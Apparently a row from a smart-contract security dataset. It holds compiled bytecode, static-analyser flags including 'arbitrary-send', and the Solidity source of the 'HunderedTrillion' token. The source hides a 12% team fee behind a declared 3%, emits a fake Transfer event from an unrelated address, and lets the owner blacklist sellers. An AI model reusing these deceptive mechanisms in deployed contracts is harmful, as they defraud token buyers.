4696f6e206f766572666c6f7760781b815260200192915050565b6000612b96604383610aa7565b7f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353681527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208201526263742960e81b604082015260430192915050565b6000612c01602783610aa7565b7f42616c6c6f742875696e743235362070726f706f73616c49642c626f6f6c20738152667570706f72742960c81b602082015260270192915050565b6000612c4a604483613678565b7f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73616c81527f2066756e6374696f6e20696e666f726d6174696f6e206172697479206d69736d6020820152630c2e8c6d60e31b604082015260600192915050565b6000612cb6602f83613678565b7f476f7665726e6f72416c7068613a3a63616e63656c3a2070726f706f7365722081526e18589bdd99481d1a1c995cda1bdb19608a1b602082015260400192915050565b6000612d07603883613678565b7f476f7665726e6f72416c7068613a3a70726f706f73653a20666f756e6420616e81527f20616c7265616479206163746976652070726f706f73616c0000000000000000602082015260400192915050565b6000612d66604483613678565b7f476f7665726e6f72416c7068613a3a5f71756575654f725265766572743a207081527f726f706f73616c20616374696f6e20616c7265616479207175657565642061746020820152632065746160e01b604082015260600192915050565b6000612dd2603983613678565b7f476f7665726e6f72416c7068613a3a70726f706f73653a20666f756e6420616e81527f20616c72656164792070656e64696e672070726f706f73616c00000000000000602082015260400192915050565b6000612e31602c83613678565b7f476f7665726e6f72416c7068613a3a70726f706f73653a206d7573742070726f81526b7669646520616374696f6e7360a01b602082015260400192915050565b6000612e7f603f83613678565b7f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73657281527f20766f7465732062656c6f772070726f706f73616c207468726573686f6c6400602082015260400192915050565b6000612ede602f83613678565b7f476f7665726e6f72416c7068613a3a63617374566f746542795369673a20696e81526e76616c6964207369676e617475726560881b602082015260400192915050565b6000612f2f603683613678565b7f476f7665726e6f72416c7068613a3a63616e63656c3a2063616e6e6f742063618152751b98d95b08195e1958dd5d1959081c1c9bdc1bdcd85b60521b602082015260400192915050565b6000612f87602a83613678565b7f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f74696e67815269081a5cc818db1bdcd95960b21b602082015260400192915050565b6000612fd3601583613678565b747375627472616374696f6e20756e646572666c6f7760581b815260200192915050565b6000613004603683613678565b7f476f7665726e6f72416c7068613a3a5f5f61626469636174653a2073656e6465815275391036bab9ba1031329033b7bb1033bab0b93234b0b760511b602082015260400192915050565b805160608301906130608482612703565b5060208201516130736020850182612703565b50604082015161105c6040850182613098565b61257e816136a7565b61257e816136e1565b61257e816136ad565b60006130ac8261293b565b91506130b88285612715565b6020820191506130c88284612715565b5060200192915050565b600061177882612b89565b600061177882612bf4565b602081016117788284612584565b604081016131048285612575565b611b40602083018461270c565b60a0810161311f8287612584565b61312c60208301866127fa565b818103604083015261313d816129cd565b905081810360608301526131518185612726565b9050611490608083018461270c565b604081016131048285612584565b6080810161317c8287612584565b613189602083018661270c565b6131966040830185612703565b611490606083018461308f565b60a081016131b18288612584565b6131be602083018761270c565b81810360408301526131d08186612726565b905081810360608301526131e48185612726565b90506131f3608083018461270c565b9695505050505050565b60a0810161320b8288612584565b613218602083018761270c565b818103604083015261322a818661275e565b905081810360608301526131e4818561275e565b6080808252810161324f818761258d565b9050818103602083015261326381866126b5565b905081810360408301526132778185612654565b905081810360608301526131f381846125e6565b60208101611778828461270c565b608081016132a7828761270c565b6132b4602083018661270c565b6132c1604083018561270c565b6114906060830184612584565b606081016132dc828661270c565b6132e9602083018561270c565b6122a66040830184612703565b60808101613304828761270c565b6133116020830186613086565b61331e604083018561270c565b611490606083018461270c565b6020810161177882846127e8565b6020810161177882846127f1565b60208082528101611b408184612726565b6020808252810161177881612803565b6020808252810161177881612862565b60208082528101611778816128ce565b6020808252810161177881612959565b6020808252810161177881612a06565b6020808252810161177881612a51565b6020808252810161177881612aa0565b6020808252810161177881612b12565b6020808252810161177881612b5c565b6020808252810161177881612c3d565b6020808252810161177881612ca9565b6020808252810161177881612cfa565b6020808252810161177881612d59565b6020808252810161177881612dc5565b6020808252810161177881612e24565b6020808252810161177881612e72565b6020808252810161177881612ed1565b6020808252810161177881612f22565b6020808252810161177881612f7a565b6020808252810161177881612fc6565b6020808252810161177881612ff7565b60608101611778828461304f565b61012081016134c5828c61270c565b6134d2602083018b612575565b81810360408301526134e4818a61258d565b905081810360608301526134f881896126b5565b9050818103608083015261350c8188612654565b905081810360a083015261352081876125e6565b905061352f60c083018661270c565b61353c60e083018561270c565b81810361010083015261354f8184612726565b9b9a5050505050505050505050565b610120810161356d828c61270c565b61357a602083018b612584565b613587604083018a61270c565b613594606083018961270c565b6135a1608083018861270c565b6135ae60a083018761270c565b6135bb60c083018661270c565b6135c860e0830185612703565b6135d6610100830184612703565b9a9950505050505050505050565b60408101613104828561270c565b60405181810167ffffffffffffffff8111828210171561361157600080fd5b604052919050565b600067ffffffffffffffff82111561363057600080fd5b5060209081020190565b600067ffffffffffffffff82111561365157600080fd5b506020601f91909101601f19160190565b60200190565b60009081526020902090565b5190565b90815260200190565b60006117788261369b565b151590565b80610aa78161372e565b6001600160a01b031690565b60ff1690565b6001600160601b031690565b6000611778825b600061177882613681565b600061177882613691565b600061177882610535565b6000611778826136ad565b82818337506000910152565b60005b838110156137135781810151838201526020016136fb565b8381111561105c5750506000910152565b601f01601f191690565b60088110611ffa57fe5b61374181613681565b8114611ffa57600080fd5b6137418161368c565b61374181610535565b613741816136a7565b613741816136ad56fea365627a7a723158203fb416fac93fb284babbec8ba364d49f5d2892038e198817e71e431a6000032a6c6578706572696d656e74616cf564736f6c63430005110040
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,878
0x394B06957f0a5530F46a8092C1A71dFa5A46c36c
/** *Submitted for verification at Etherscan.io on 2021-07-14 */ // Join us: https://t.me/hundredtrillion // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract HunderedTrillion is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Hundered Trillion | t.me/hundredtrillion"; string private constant _symbol = "HT"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 3; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 3; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.mul(4).div(10)); _marketingFunds.transfer(amount.mul(6).div(10)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 12); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } } /* */
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e82565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612989565b610441565b6040516101789190612e67565b60405180910390f35b34801561018d57600080fd5b5061019661045f565b6040516101a39190613024565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612936565b610470565b6040516101e09190612e67565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061289c565b610549565b005b34801561021e57600080fd5b50610227610639565b6040516102349190613099565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a12565b610642565b005b34801561027257600080fd5b5061027b6106f4565b005b34801561028957600080fd5b506102a4600480360381019061029f919061289c565b610766565b6040516102b19190613024565b60405180910390f35b3480156102c657600080fd5b506102cf6107b7565b005b3480156102dd57600080fd5b506102e661090a565b6040516102f39190612d99565b60405180910390f35b34801561030857600080fd5b50610311610933565b60405161031e9190612e82565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612989565b610970565b60405161035b9190612e67565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129c9565b61098e565b005b34801561039957600080fd5b506103a2610ab8565b005b3480156103b057600080fd5b506103b9610b32565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a6c565b61108e565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128f6565b6111d7565b6040516104189190613024565b60405180910390f35b60606040518060600160405280602881526020016137a060289139905090565b600061045561044e61125e565b8484611266565b6001905092915050565b6000683635c9adc5dea00000905090565b600061047d848484611431565b61053e8461048961125e565b610539856040518060600160405280602881526020016137c860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104ef61125e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf09092919063ffffffff16565b611266565b600190509392505050565b61055161125e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d590612f64565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61064a61125e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106d7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ce90612f64565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661073561125e565b73ffffffffffffffffffffffffffffffffffffffff161461075557600080fd5b600047905061076381611c54565b50565b60006107b0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d75565b9050919050565b6107bf61125e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461084c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084390612f64565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f4854000000000000000000000000000000000000000000000000000000000000815250905090565b600061098461097d61125e565b8484611431565b6001905092915050565b61099661125e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1a90612f64565b60405180910390fd5b60005b8151811015610ab4576001600a6000848481518110610a4857610a476133e1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aac9061333a565b915050610a26565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610af961125e565b73ffffffffffffffffffffffffffffffffffffffff1614610b1957600080fd5b6000610b2430610766565b9050610b2f81611de3565b50565b610b3a61125e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bc7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbe90612f64565b60405180910390fd5b600f60149054906101000a900460ff1615610c17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0e90612fe4565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ca730600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611266565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610ced57600080fd5b505afa158015610d01573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2591906128c9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8757600080fd5b505afa158015610d9b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dbf91906128c9565b6040518363ffffffff1660e01b8152600401610ddc929190612db4565b602060405180830381600087803b158015610df657600080fd5b505af1158015610e0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e2e91906128c9565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610eb730610766565b600080610ec261090a565b426040518863ffffffff1660e01b8152600401610ee496959493929190612e06565b6060604051808303818588803b158015610efd57600080fd5b505af1158015610f11573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f369190612a99565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611038929190612ddd565b602060405180830381600087803b15801561105257600080fd5b505af1158015611066573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061108a9190612a3f565b5050565b61109661125e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611123576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111a90612f64565b60405180910390fd5b60008111611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612f24565b60405180910390fd5b611195606461118783683635c9adc5dea0000061206b90919063ffffffff16565b6120e690919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111cc9190613024565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cd90612fc4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611346576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133d90612ee4565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114249190613024565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114a1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161149890612fa4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611511576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150890612ea4565b60405180910390fd5b60008111611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f84565b60405180910390fd5b61155c61090a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115ca575061159a61090a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b2d57600f60179054906101000a900460ff16156117fd573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561164c57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116a65750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117005750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156117fc57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661174661125e565b73ffffffffffffffffffffffffffffffffffffffff1614806117bc5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117a461125e565b73ffffffffffffffffffffffffffffffffffffffff16145b6117fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f290613004565b60405180910390fd5b5b5b60105481111561180c57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118b05750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118b957600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119645750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119ba5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119d25750600f60179054906101000a900460ff165b15611a735742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a2257600080fd5b603c42611a2f919061315a565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a7e30610766565b9050600f60159054906101000a900460ff16158015611aeb5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b035750600f60169054906101000a900460ff165b15611b2b57611b1181611de3565b60004790506000811115611b2957611b2847611c54565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bd45750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bde57600090505b611bea84848484612130565b50505050565b6000838311158290611c38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c2f9190612e82565b60405180910390fd5b5060008385611c47919061323b565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cb7600a611ca960048661206b90919063ffffffff16565b6120e690919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ce2573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d46600a611d3860068661206b90919063ffffffff16565b